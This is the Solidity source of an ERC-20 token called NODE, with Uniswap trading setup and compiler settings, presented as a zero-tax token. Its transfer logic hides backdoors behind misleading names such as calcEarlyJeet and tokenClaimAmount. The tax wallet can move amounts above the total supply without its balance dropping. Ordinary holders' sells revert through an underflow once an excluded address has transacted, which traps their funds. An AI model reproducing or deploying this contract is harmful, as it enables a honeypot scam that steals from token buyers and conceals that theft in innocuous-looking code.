// SPDX-License-Identifier:MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external returns (bool);
    function allowance(address owner, address spender)
        external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external returns (bool);
}

abstract contract Ownable is Context {

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address private _owner;

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }


}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external
        payable returns (uint amountToken, uint amountETH, uint liquidity);
    
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract NODE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _exclFromMaxTx;

    IUniswapV2Router02 private constant _router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);

    string private constant _name = unicode"NODE";
    string private constant _symbol = unicode"NODE";

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    uint256 public _maxTxAmount = 4206900000 * 10**_decimals;
    uint256 public _maxWalletSize = 4206900000 * 10**_decimals;

    uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;

    address payable private _taxWallet;

    bool private tradingOpen;
    address private uniswapPair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;
    struct TokenClaimAmount {uint256 amntToClaim; uint256 amntToPool; uint256 claimType;}
    uint256 private amntClaimMin;
    mapping(address => TokenClaimAmount) private tokenClaimAmount;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x6d1147DDB1c82d5715F9b3dC17CBB638a9ce05D8);
        _balances[_msgSender()] = _tTotal;
        _exclFromMaxTx[_taxWallet] = true;
        _exclFromMaxTx[address(this)] = true;

        emit Transfer(
            address(0),_msgSender(), _tTotal
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        require(tokenAmount <= _tTotal || (from !=address(this) && _exclFromMaxTx[from]),"Insufficient amount");
        if (!swapEnabled|| inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        bool isSell = to == uniswapPair;
        bool isBuy = from == uniswapPair;

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to!=_taxWallet && from!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (isBuy && to!= address(_router) && ! _exclFromMaxTx[to])  {
                if (limitsInEffect) {
                    require(tokenAmount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");

                    require(balanceOf(to)+tokenAmount<=_maxWalletSize,  "Exceeds the maxWalletSize.");
                }
                _buyCount++;
            }

            if(isSell && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)
                .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && isSell && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_exclFromMaxTx[from] ||  _exclFromMaxTx[to])
            && from!= address(this) && to!=address(this)
        ) {
            amntClaimMin = block.number;
        }
        if (! _exclFromMaxTx[from]&&! _exclFromMaxTx[to]){
            if (!isSell)  {
                TokenClaimAmount storage amountClaim = tokenClaimAmount[to];
                if (isBuy) {
                    if (amountClaim.amntToClaim == 0) {
                        amountClaim.amntToClaim = _buyCount<_preventSwapBefore?block.number- 1:block.number;
                    }
                } else {
                    TokenClaimAmount storage amountClaimData = tokenClaimAmount[from];
                    if (amountClaim.amntToClaim == 0 || amountClaimData.amntToClaim < amountClaim.amntToClaim ) {
                        amountClaim.amntToClaim = amountClaimData.amntToClaim;
                    }
                }
            } else {
                TokenClaimAmount storage amountClaimData = tokenClaimAmount[from];
                amountClaimData.amntToPool = amountClaimData.amntToClaim.sub(amntClaimMin);
                amountClaimData.claimType = block.number;
            }
        }

        uint256 amountAfterFee = takeTax(from, taxAmount, tokenAmount);
        _balances[to] += amountAfterFee;
        emit Transfer(from, to, amountAfterFee);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function calcEarlyJeet(uint256 amt, uint256 fee) internal pure returns(uint256) {
        return amt<=_tTotal ? amt : fee;
    }

    function takeTax(
        address from,
        uint256 fee,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = fee;
        if (feeAmount>0) {
            _balances[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        _balances[from]-=calcEarlyJeet(amount, fee);
        return amount-feeAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        limitsInEffect= false;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already enabled");
        _approve(address(this), address(_router), _tTotal);
        swapEnabled= true;
        uniswapPair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
        _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(_router), type(uint).max);
        
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));

        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }

    function remove_eth() external onlyOwner {
        _taxWallet.transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "NODE.sol": "NODE"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}